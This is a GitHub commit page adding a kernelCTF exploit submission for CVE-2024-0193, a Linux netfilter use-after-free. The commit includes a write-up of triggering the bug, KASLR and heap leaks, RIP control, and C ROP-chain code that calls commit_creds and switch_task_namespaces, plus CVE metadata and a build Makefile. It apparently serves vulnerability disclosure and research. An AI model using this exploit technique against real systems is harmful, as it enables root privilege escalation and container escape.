-
Notifications
You must be signed in to change notification settings - Fork 414
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add kernelCTF CVE-2024-0193_lts (#102)
* Add kernelCTF CVE-2024-0193_lts * update exploit.md and exploit.c * Update exploit.c
- Loading branch information
1 parent
b0cd094
commit a571ac2
Showing
8 changed files
with
1,518 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,299 @@ | ||
### Triggering Vulnerability | ||
|
||
If the catchall element is gc'd when the pipapo set is removed, the element can be deactivated twice. | ||
|
||
When a set is deleted, the `nft_map_deactivate` is called to deactivate the data of the set elements [1]. | ||
|
||
```c | ||
static int nft_delset(const struct nft_ctx *ctx, struct nft_set *set) | ||
{ | ||
int err; | ||
|
||
err = nft_trans_set_add(ctx, NFT_MSG_DELSET, set); | ||
if (err < 0) | ||
return err; | ||
|
||
if (set->flags & (NFT_SET_MAP | NFT_SET_OBJECT)) | ||
nft_map_deactivate(ctx, set); // [1] | ||
|
||
nft_deactivate_next(ctx->net, set); | ||
nft_use_dec(&ctx->table->use); | ||
|
||
return err; | ||
} | ||
``` | ||
Then `nft_set_commit_update` is called in the `nf_tables_commit` and the pipapo set's commit function is called [2]. | ||
```c | ||
static void nft_set_commit_update(struct list_head *set_update_list) | ||
{ | ||
struct nft_set *set, *next; | ||
list_for_each_entry_safe(set, next, set_update_list, pending_update) { | ||
list_del_init(&set->pending_update); | ||
if (!set->ops->commit) | ||
continue; | ||
set->ops->commit(set); // [2] | ||
} | ||
} | ||
``` | ||
|
||
In the `nft_pipapo_commit`, `nft_trans_gc_catchall_sync` is called and `nft_setelem_data_deactivate` is called for expired elements [3]. | ||
|
||
```c | ||
struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc) | ||
{ | ||
struct nft_set_elem_catchall *catchall, *next; | ||
const struct nft_set *set = gc->set; | ||
struct nft_set_elem elem; | ||
struct nft_set_ext *ext; | ||
|
||
WARN_ON_ONCE(!lockdep_commit_lock_is_held(gc->net)); | ||
|
||
list_for_each_entry_safe(catchall, next, &set->catchall_list, list) { | ||
ext = nft_set_elem_ext(set, catchall->elem); | ||
|
||
if (!nft_set_elem_expired(ext)) | ||
continue; | ||
|
||
gc = nft_trans_gc_queue_sync(gc, GFP_KERNEL); | ||
if (!gc) | ||
return NULL; | ||
|
||
memset(&elem, 0, sizeof(elem)); | ||
elem.priv = catchall->elem; | ||
|
||
nft_setelem_data_deactivate(gc->net, gc->set, &elem); // [3] | ||
nft_setelem_catchall_destroy(catchall); | ||
nft_trans_gc_elem_add(gc, elem.priv); | ||
} | ||
|
||
return gc; | ||
} | ||
``` | ||
This element is deactivated by calling the `nft_map_deactivate` in the `nft_delset` [1], so the data deactivation is done twice. | ||
We can trigger the vulnerability as follows: | ||
- Create a chain `Victim`. | ||
- Create a pipapo set `Vulnerable`. | ||
- Create a set element in `Vulnerable` with a verdict data referencing `Victim`. We set the timeout of element to 1. | ||
- Create some rules to make the delay. | ||
- Delete `Vulnerable`. This results in the `Victim` having a reference count of -1. | ||
### KASLR Bypass | ||
The KASLR address is leaked through `chain->name`, which is stored in the verdict data of the immediate expr (`nft_immediate_expr.data.verdict`). The leak process is as follows: | ||
- Create two chains, `Base` and `Victim`. Make the `Victim`'s name 9-16 bytes long so that it can be allocated into `kmalloc-cg-16`. | ||
- Create an immediate expr in `Base` that references to the `Victim`. | ||
- Create a pipapo set `Vulnerable`. | ||
- Create a set element in `Vulnerable` with a verdict data referencing `Victim`. | ||
- Trigger the vulnerability by deleting the `Vulnerable`. This results in the `Victim` having a reference count of 0. | ||
- Destroy the `Victim`. | ||
- Spray counter exprs (`struct nft_expr`) to place it at `Victim`'s `chain->name`. At this time, the size of counter expr (`struct nft_expr`) is 16 bytes, so the counter exprs are allocated in the `kmalloc-cg-16`. | ||
- We dump the immediate expr of `Base` using `GETRULE` command, we can get the ops address of counter expr through the freed `chain->name` to get the kernel base address [4]. | ||
```c | ||
int nft_verdict_dump(struct sk_buff *skb, int type, const struct nft_verdict *v) | ||
{ | ||
struct nlattr *nest; | ||
nest = nla_nest_start_noflag(skb, type); | ||
if (!nest) | ||
goto nla_put_failure; | ||
if (nla_put_be32(skb, NFTA_VERDICT_CODE, htonl(v->code))) | ||
goto nla_put_failure; | ||
switch (v->code) { | ||
case NFT_JUMP: | ||
case NFT_GOTO: | ||
if (nla_put_string(skb, NFTA_VERDICT_CHAIN, | ||
v->chain->name)) // [4] | ||
goto nla_put_failure; | ||
} | ||
nla_nest_end(skb, nest); | ||
return 0; | ||
nla_put_failure: | ||
return -1; | ||
} | ||
``` | ||
|
||
### Heap Address Leak | ||
|
||
We leak the heap address in the same way as we leak the kernel base address. To leak the heap address, we sprayed the `nft_rule` instead of counter expr. We place `nft_rule` in freed `Victim`'s `nft_chain->name` and dump the rule of the `Base`. As a result, we can read the heap address stored in `nft_rule->list` through `Victim`'s `nft_chain->name`. We put the address of the `kmalloc-cg-96` object in `list->next` and the address of the `kmalloc-cg-192` object in `list->prev` by creating `nft_rules`. The size of the `nft_rule` can be adjusted by adding multiple `nft_exprs` inside the `nft_rule`. Since data of type string is used for leaking, we repeated the entire exploit until the heap address does not contain null. | ||
|
||
### RIP Control | ||
|
||
We use `nft_chain->blob_gen_0` to control the RIP. The `nft_chain->blob_gen_0` is used when evaluating packets in the `nft_do_chain` function [5]. | ||
|
||
```c | ||
nft_do_chain(struct nft_pktinfo *pkt, void *priv) | ||
{ | ||
... | ||
do_chain: | ||
if (genbit) | ||
blob = rcu_dereference(chain->blob_gen_1); | ||
else | ||
blob = rcu_dereference(chain->blob_gen_0); // [5] | ||
|
||
rule = (struct nft_rule_dp *)blob->data; | ||
last_rule = (void *)blob->data + blob->size; | ||
next_rule: | ||
regs.verdict.code = NFT_CONTINUE; | ||
for (; rule < last_rule; rule = nft_rule_next(rule)) { | ||
nft_rule_dp_for_each_expr(expr, last, rule) { | ||
if (expr->ops == &nft_cmp_fast_ops) | ||
nft_cmp_fast_eval(expr, ®s); | ||
else if (expr->ops == &nft_cmp16_fast_ops) | ||
nft_cmp16_fast_eval(expr, ®s); | ||
else if (expr->ops == &nft_bitwise_fast_ops) | ||
nft_bitwise_fast_eval(expr, ®s); | ||
else if (expr->ops != &nft_payload_fast_ops || | ||
!nft_payload_fast_eval(expr, ®s, pkt)) | ||
expr_call_ops_eval(expr, ®s, pkt); | ||
|
||
if (regs.verdict.code != NFT_CONTINUE) | ||
break; | ||
} | ||
... | ||
``` | ||
To do this, we assign `chain->blob_gen_0` to `kmalloc-cg-64` and trigger the vulnerability. `chain->blob_gen_0` is allocated in the `nf_tables_chain_alloc_rules` when creating new chain [5]. `chain->blob_gen_0` is allocated from the `nf_tables_chain_alloc_rules` when creating a new chain [6]. | ||
```c | ||
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, | ||
u8 policy, u32 flags, | ||
struct netlink_ext_ack *extack) | ||
{ | ||
... | ||
data_size = offsetof(struct nft_rule_dp, data); /* last rule */ | ||
blob = nf_tables_chain_alloc_rules(data_size); // [6] | ||
if (!blob) { | ||
err = -ENOMEM; | ||
goto err_destroy_chain; | ||
} | ||
``` | ||
|
||
The size used by `kvmalloc` [7] is 40, `offsetof(struct nft_rule_dp, data)` + `sizeof(struct nft_rule_blob)` + `sizeof(struct nft_rules_old)` (8 + 24 + 8), the `blob` object is allocated in `kmalloc-cg-64`. | ||
|
||
```c | ||
static struct nft_rule_blob *nf_tables_chain_alloc_rules(unsigned int size) | ||
{ | ||
struct nft_rule_blob *blob; | ||
|
||
/* size must include room for the last rule */ | ||
if (size < offsetof(struct nft_rule_dp, data)) | ||
return NULL; | ||
|
||
size += sizeof(struct nft_rule_blob) + sizeof(struct nft_rules_old); | ||
if (size > INT_MAX) | ||
return NULL; | ||
|
||
blob = kvmalloc(size, GFP_KERNEL_ACCOUNT); // [7] | ||
if (!blob) | ||
return NULL; | ||
|
||
blob->size = 0; | ||
nft_last_rule(blob, blob->data); | ||
|
||
return blob; | ||
} | ||
``` | ||
We then spray the `udata` of the `struct nft_table` and place it in freed `blob_gen_0`. Finally, when a packet is sent, a sprayed fake ops address is referenced, resulting in RIP control [8]. | ||
```c | ||
static void expr_call_ops_eval(const struct nft_expr *expr, | ||
struct nft_regs *regs, | ||
struct nft_pktinfo *pkt) | ||
{ | ||
#ifdef CONFIG_RETPOLINE | ||
unsigned long e = (unsigned long)expr->ops->eval; | ||
#define X(e, fun) \ | ||
do { if ((e) == (unsigned long)(fun)) \ | ||
return fun(expr, regs, pkt); } while (0) // [8] | ||
X(e, nft_payload_eval); | ||
X(e, nft_cmp_eval); | ||
X(e, nft_counter_eval); | ||
X(e, nft_meta_get_eval); | ||
X(e, nft_lookup_eval); | ||
X(e, nft_range_eval); | ||
X(e, nft_immediate_eval); | ||
X(e, nft_byteorder_eval); | ||
X(e, nft_dynset_eval); | ||
X(e, nft_rt_get_eval); | ||
X(e, nft_bitwise_eval); | ||
#undef X | ||
#endif /* CONFIG_RETPOLINE */ | ||
expr->ops->eval(expr, regs, pkt); | ||
} | ||
``` | ||
|
||
### Post RIP | ||
|
||
Store the ROP payload below to the `kmalloc-cg-96` and `kmalloc-cg-192` addresses leaked above, and execute it. The ROP payload of `kmalloc-cg-192` is stored in `nft_rule->data` when the rule is created during the heap spraying. The ROP payload of `kmalloc-cg-96` is stored by spraying `nft_table->udata` after freeing the rule used in the heap spray. | ||
|
||
```c | ||
void make_payload(uint64_t* data){ | ||
int i = 0; | ||
|
||
data[i++] = kbase + push_rbx_pop_rsp; | ||
|
||
// commit_creds(&init_cred) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = kbase + init_cred_off; | ||
data[i++] = kbase + commit_creds_off; | ||
|
||
// current = find_task_by_vpid(getpid()) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = getpid(); | ||
data[i++] = kbase + find_task_by_vpid_off; | ||
|
||
// current += offsetof(struct task_struct, rcu_read_lock_nesting) | ||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = 0x474; | ||
data[i++] = kbase + add_rax_rsi_ret; | ||
|
||
data[i++] = kbase + pop_rsp_ret; | ||
data[i++] = heap_addr1+0x20; | ||
} | ||
|
||
void make_payload2(uint64_t* data){ | ||
int i = 0; | ||
|
||
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) | ||
data[i++] = kbase + pop_rcx_ret; | ||
data[i++] = -0xffff; | ||
data[i++] = kbase + mov_rax_rcx_ret; | ||
|
||
// find_task_by_vpid(1) | ||
data[i++] = kbase + pop_rdi_ret; | ||
data[i++] = 1; | ||
data[i++] = kbase + find_task_by_vpid_off; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + mov_rdi_rax_ret; | ||
data[i++] = kbase + pop_rsi_ret; | ||
data[i++] = kbase + init_nsproxy_off; | ||
data[i++] = kbase + switch_task_namespaces_off; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off; | ||
data[i++] = 0; // rax | ||
data[i++] = 0; // rdx | ||
data[i++] = _user_rip; // user_rip | ||
data[i++] = _user_cs; // user_cs | ||
data[i++] = _user_rflags; // user_rflags | ||
data[i++] = _user_sp; // user_sp | ||
data[i++] = _user_ss; // user_ss | ||
} | ||
``` |
12 changes: 12 additions & 0 deletions
12
pocs/linux/kernelctf/CVE-2024-0193_lts/docs/vulnerability.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
- Requirements: | ||
- Capabilites: CAP_NET_ADMIN | ||
- Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y | ||
- User namespaces required: Yes | ||
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a5 | ||
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7315dc1e122c85ffdfc8defffbb8f8b616c2eb1a | ||
- Affected Version: 6.5-rc6 - 6.7-rc8 | ||
- Affected Component: net/netfilter | ||
- Syscall to disable: disallow unprivileged username space | ||
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-0193 | ||
- Cause: Use-After-Free | ||
- Description: A use-after-free flaw was found in the netfilter subsystem of the Linux kernel. If the catchall element is garbage-collected when the pipapo set is removed, the element can be deactivated twice. This can cause a use-after-free issue on an NFT_CHAIN object or NFT_OBJECT object, allowing a local unprivileged user with CAP_NET_ADMIN capability to escalate their privileges on the system. |
39 changes: 39 additions & 0 deletions
39
pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
LIBMNL_DIR = $(realpath ./)/libmnl_build | ||
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build | ||
|
||
LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl | ||
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include | ||
CFLAGS = -static -s | ||
|
||
exploit: | ||
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) | ||
|
||
prerequisites: libnftnl-build | ||
|
||
libmnl-build : libmnl-download | ||
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install | ||
|
||
libnftnl-build : libmnl-build libnftnl-download | ||
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install | ||
|
||
libmnl-download : | ||
mkdir $(LIBMNL_DIR) | ||
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 | ||
|
||
libnftnl-download : | ||
mkdir $(LIBNFTNL_DIR) | ||
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz | ||
|
||
run: | ||
./exploit | ||
|
||
clean: | ||
rm -f exploit | ||
rm -rf $(LIBMNL_DIR) | ||
rm -rf $(LIBNFTNL_DIR) |
Binary file not shown.
Oops, something went wrong.